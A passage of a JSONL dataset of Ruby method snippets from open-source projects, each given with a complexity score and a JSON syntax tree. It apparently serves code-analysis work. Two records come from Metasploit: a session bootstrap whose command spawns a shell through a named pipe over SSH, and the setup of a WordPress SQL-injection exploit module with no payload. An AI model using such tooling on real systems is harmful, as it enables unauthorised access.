end","complexity_score":12.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"define_predicate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"?\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"!\"]},\"!\"]}]}]}","id":"f4b501a5-2b09-4b91-a8b2-1e3cc72832ad"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file_collection/paginated_merge_request_diff.rb","start_line":18,"raw_source":"def initialize(merge_request_diff, page, per_page, diff_options = nil)\n super(merge_request_diff, diff_options: diff_options)\n\n @paginated_collection = load_paginated_collection(page, per_page)\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request_diff\"]},{\"type\":\"arg\",\"children\":[\"page\"]},{\"type\":\"arg\",\"children\":[\"per_page\"]},{\"type\":\"optarg\",\"children\":[\"diff_options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request_diff\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff_options\"]},{\"type\":\"lvar\",\"children\":[\"diff_options\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@paginated_collection\",{\"type\":\"send\",\"children\":[null,\"load_paginated_collection\",{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]}]}]}","id":"4973c6c0-bc6b-4332-938b-d33c660c58b1"} {"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/filter_manager.rb","start_line":134,"raw_source":"def add(updated)\n @rules.merge!(updated).each_key { |k| opposite.delete(k) }\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"updated\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rules\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"updated\"]}]},\"each_key\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"opposite\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]}","id":"51d2b6a3-69be-4444-ac91-e75c1dfafa3d"} {"repo_name":"reek","file_path":"./repos/reek/lib/reek/cli/options.rb","start_line":38,"raw_source":"def initialize(argv = [])\n @argv = argv\n @parser = OptionParser.new\n @report_format = :text\n @location_format = :numbers\n @progress_format = tty_output? ? :dots : :quiet\n @show_links = true\n @smells_to_detect = []\n @colored = tty_output?\n @success_exit_code = Status::DEFAULT_SUCCESS_EXIT_CODE\n @failure_exit_code = Status::DEFAULT_FAILURE_EXIT_CODE\n @generate_todo_list = false\n @force_exclusion = false\n @show_configuration_path = false\n\n set_up_parser\n end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"argv\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@argv\",{\"type\":\"lvar\",\"children\":[\"argv\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptionParser\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@report_format\",{\"type\":\"sym\",\"children\":[\"text\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@location_format\",{\"type\":\"sym\",\"children\":[\"numbers\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@progress_format\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tty_output?\"]},{\"type\":\"sym\",\"children\":[\"dots\"]},{\"type\":\"sym\",\"children\":[\"quiet\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@show_links\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@smells_to_detect\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@colored\",{\"type\":\"send\",\"children\":[null,\"tty_output?\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@success_exit_code\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"DEFAULT_SUCCESS_EXIT_CODE\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@failure_exit_code\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"DEFAULT_FAILURE_EXIT_CODE\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@generate_todo_list\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@force_exclusion\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@show_configuration_path\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"set_up_parser\"]}]}]}","id":"498cd260-b7fc-45ee-a448-c63003903560"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/status/factory.rb","start_line":13,"raw_source":"def fabricate!\n if extended_statuses.none?\n core_status\n else\n compound_extended_status\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fabricate!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extended_statuses\"]},\"none?\"]},{\"type\":\"send\",\"children\":[null,\"core_status\"]},{\"type\":\"send\",\"children\":[null,\"compound_extended_status\"]}]}]}","id":"0775424a-f5ae-4635-9932-911dd3f8f7df"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/settings/main.rb","start_line":44,"raw_source":"def expand_advanced_settings(&block)\n expand_content('advanced-settings-content') do\n Advanced.perform(&block)\n end\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_advanced_settings\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expand_content\",{\"type\":\"str\",\"children\":[\"advanced-settings-content\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Advanced\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"7ac163c9-821d-497a-8e91-c83d3a078fa1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/i18n/translation_entry.rb","start_line":14,"raw_source":"def initialize(entry_data:, nplurals:)\n @entry_data = entry_data\n @nplurals = nplurals\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"entry_data\"]},{\"type\":\"kwarg\",\"children\":[\"nplurals\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@entry_data\",{\"type\":\"lvar\",\"children\":[\"entry_data\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@nplurals\",{\"type\":\"lvar\",\"children\":[\"nplurals\"]}]}]}]}","id":"fc03b9e2-8138-41d2-81ff-b8b4147a3827"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/twilio/send_on_twilio_service.rb","start_line":73,"raw_source":"def channel\n @channel ||= inbox.channel\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"channel\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@channel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"channel\"]}]}]}","id":"d1c513d5-765b-4bac-8ed7-8a2595c7fbf1"} {"repo_name":"forem","file_path":"./repos/forem/app/services/ai/forem_tags.rb","start_line":21,"raw_source":"def generate_tags_with_retry\n retries = 0\n tags = []\n\n while retries < MAX_RETRIES && tags.empty?\n begin\n tags = generate_tags\n retries += 1\n\n # Check if the output meets our expectations\n unless output_meets_expectations?(tags)\n Rails.logger.warn(\"Attempt #{retries} generated insufficient tags (#{tags.length}), retrying...\")\n tags = []\n next\n end\n rescue StandardError => e\n retries += 1\n Rails.logger.warn(\"Attempt #{retries} failed to generate tags: #{e.message}\")\n sleep(1) if retries < MAX_RETRIES\n end\n end\n\n if tags.empty?\n Rails.logger.error(\"Failed to generate tags after #{MAX_RETRIES} attempts\")\n return\n end\n\n process_tags(tags)\n end","complexity_score":39.8,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_tags_with_retry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"retries\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"tags\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"while\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retries\"]},\"<\",{\"type\":\"const\",\"children\":[null,\"MAX_RETRIES\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"empty?\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tags\",{\"type\":\"send\",\"children\":[null,\"generate_tags\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"retries\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output_meets_expectations?\",{\"type\":\"lvar\",\"children\":[\"tags\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempt \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retries\"]}]},{\"type\":\"str\",\"children\":[\" generated insufficient tags (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\"), retrying...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tags\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"next\",\"children\":[]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"retries\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempt \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retries\"]}]},{\"type\":\"str\",\"children\":[\" failed to generate tags: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retries\"]},\"<\",{\"type\":\"const\",\"children\":[null,\"MAX_RETRIES\"]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[1]}]},null]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to generate tags after \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_RETRIES\"]}]},{\"type\":\"str\",\"children\":[\" attempts\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"process_tags\",{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]}]}","id":"4733ecb3-3c69-4f0b-9132-11fc8f31d98a"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/list_account.rb","start_line":42,"raw_source":"def list_owner_account_is_account?\n list.account_id == account_id\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"list_owner_account_is_account?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"list\"]},\"account_id\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"account_id\"]}]}]}","id":"161d8e8b-11cb-4807-aaec-c1a58af2cd7a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/expire_pipeline_cache_service.rb","start_line":48,"raw_source":"def each_pipelines_merge_request_path(pipeline)\n pipeline.all_merge_requests.each do |merge_request|\n yield(pipelines_project_merge_request_path(merge_request))\n yield(merge_request_widget_path(merge_request))\n end\n\n pipeline.project.merge_requests.by_merged_or_merge_or_squash_commit_sha(pipeline.sha).each do |merge_request|\n yield(merge_request_widget_path(merge_request))\n end\n end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"each_pipelines_merge_request_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"all_merge_requests\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipelines_project_merge_request_path\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_widget_path\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"project\"]},\"merge_requests\"]},\"by_merged_or_merge_or_squash_commit_sha\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"sha\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_widget_path\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]}]}]}]}]}","id":"3e973ccd-92ee-4742-885d-689515e7dc3b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/outdated_todo.rb","start_line":11,"raw_source":"def initialize(filenames, context:, todos: TODOS_GLOBS, allow_fail: false)\n @filenames = filenames\n @context = context\n @todos_globs = todos\n @allow_fail = allow_fail\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filenames\"]},{\"type\":\"kwarg\",\"children\":[\"context\"]},{\"type\":\"kwoptarg\",\"children\":[\"todos\",{\"type\":\"const\",\"children\":[null,\"TODOS_GLOBS\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"allow_fail\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filenames\",{\"type\":\"lvar\",\"children\":[\"filenames\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@context\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@todos_globs\",{\"type\":\"lvar\",\"children\":[\"todos\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@allow_fail\",{\"type\":\"lvar\",\"children\":[\"allow_fail\"]}]}]}]}","id":"2e685b54-f1a2-4b74-a748-5471c9f486c5"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/aws_instance_connect_command_shell_bind.rb","start_line":78,"raw_source":"def bootstrap(datastore = {}, handler = nil)\n @ssh_command_stream = Net::SSH::CommandStream.new(ssh_connection, session: self, logger: self)\n\n @ssh_command_stream.verify_channel\n # set remote_window_size to 32 which seems to help stability\n @ssh_command_stream.channel.do_window_adjust(-@ssh_command_stream.channel.remote_window_size + 32)\n @rstream = @ssh_command_stream.lsock\n\n if @serial_username.present? || @serial_password.present?\n shell_write(\"#{@serial_username}\\n\")\n shell_write(\"#{@serial_password}\\n\")\n end\n\n shell_command('stty -echo cbreak;pipe=$(mktemp -u);mkfifo -m 600 $pipe;cat $pipe & sh 1>$pipe 2>$pipe; rm $pipe; exit')\n shell_read(-1)\n\n @info = \"EC2 Instance Connect #{@serial_username.present? ? @serial_username : ssh_username} @ #{@peer_info}\"\n\n super\n end","complexity_score":29.45,"ast_json":"{\"type\":\"def\",\"children\":[\"bootstrap\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"datastore\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"handler\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ssh_command_stream\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"SSH\"]},\"CommandStream\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"ssh_connection\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssh_command_stream\"]},\"verify_channel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssh_command_stream\"]},\"channel\"]},\"do_window_adjust\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssh_command_stream\"]},\"channel\"]},\"remote_window_size\"]},\"-@\"]},\"+\",{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@rstream\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssh_command_stream\"]},\"lsock\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@serial_username\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@serial_password\"]},\"present?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shell_write\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@serial_username\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"shell_write\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@serial_password\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"shell_command\",{\"type\":\"str\",\"children\":[\"stty -echo cbreak;pipe=$(mktemp -u);mkfifo -m 600 $pipe;cat $pipe & sh 1>$pipe 2>$pipe; rm $pipe; exit\"]}]},{\"type\":\"send\",\"children\":[null,\"shell_read\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"ivasgn\",\"children\":[\"@info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"EC2 Instance Connect \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@serial_username\"]},\"present?\"]},{\"type\":\"ivar\",\"children\":[\"@serial_username\"]},{\"type\":\"send\",\"children\":[null,\"ssh_username\"]}]}]},{\"type\":\"str\",\"children\":[\" @ \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@peer_info\"]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"16d3824c-825f-4a95-8c52-f908cb01dcc1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql_helpers.rb","start_line":310,"raw_source":"def batch_sync(max_queries: nil, &blk)\n batch(max_queries: max_queries) { sync_all(&blk) }\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"batch_sync\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"max_queries\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_queries\"]},{\"type\":\"lvar\",\"children\":[\"max_queries\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"sync_all\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}]}","id":"29b66cf5-5ab5-4e86-b7e6-251d9e379133"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/wp_google_maps_sqli.rb","start_line":9,"raw_source":"def initialize(_info = {})\n super(\n 'Name' => 'WordPress Google Maps Plugin SQL Injection',\n 'Description' => %q{\n This module exploits a SQL injection vulnerability in a REST endpoint\n registered by the WordPress plugin wp-google-maps between 7.11.00 and\n 7.11.17 (included).\n\n As the table prefix can be changed by administrators, set DB_PREFIX\n accordingly.\n },\n 'Author' => [\n 'Thomas Chauchefoin (Synacktiv)', # Vulnerability discovery, Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n ['CVE', '2019-10692'],\n ['WPVDB', '9249']\n ],\n 'DisclosureDate' => '2019-04-02',\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],\n 'Reliability' => []\n }\n )\n\n register_options(\n [\n OptString.new('DB_PREFIX', [true, 'WordPress table prefix', 'wp_'])\n ]\n )\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"WordPress Google Maps Plugin SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a SQL injection vulnerability in a REST endpoint\\n\"]},{\"type\":\"str\",\"children\":[\" registered by the WordPress plugin wp-google-maps between 7.11.00 and\\n\"]},{\"type\":\"str\",\"children\":[\" 7.11.17 (included).\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" As the table prefix can be changed by administrators, set DB_PREFIX\\n\"]},{\"type\":\"str\",\"children\":[\" accordingly.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Thomas Chauchefoin (Synacktiv)\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2019-10692\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"WPVDB\"]},{\"type\":\"str\",\"children\":[\"9249\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2019-04-02\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DB_PREFIX\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"WordPress table prefix\"]},{\"type\":\"str\",\"children\":[\"wp_\"]}]}]}]}]}]}]}","id":"97952c2c-498b-477f-a55c-c2fbfb4ed62b"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/gettext/debug.rb","start_line":21,"raw_source":"def s_(key, separator = nil)\n \"#{DL}#{FastGettext.s_(key, separator)}#{DR}\"\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"s_\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"optarg\",\"children\":[\"separator\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DL\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastGettext\"]},\"s_\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"separator\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DR\"]}]}]}]}","id":"3dae5b37-d2af-4a39-8f19-61ace94145a0"} {"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/channel/callbacks.rb","start_line":67,"raw_source":"def before_unsubscribe(*methods, &block)\n set_callback(:unsubscribe, :before, *methods, &block)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"before_unsubscribe\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"methods\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"set_callback\",{\"type\":\"sym\",\"children\":[\"unsubscribe\"]},{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"c8a8245d-d464-4757-b26c-b8e6ac9ad36e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespace/traversal_hierarchy.rb","start_line":88,"raw_source":"def sync_traversal_ids_tree!(node)\n # An issue in Rails since 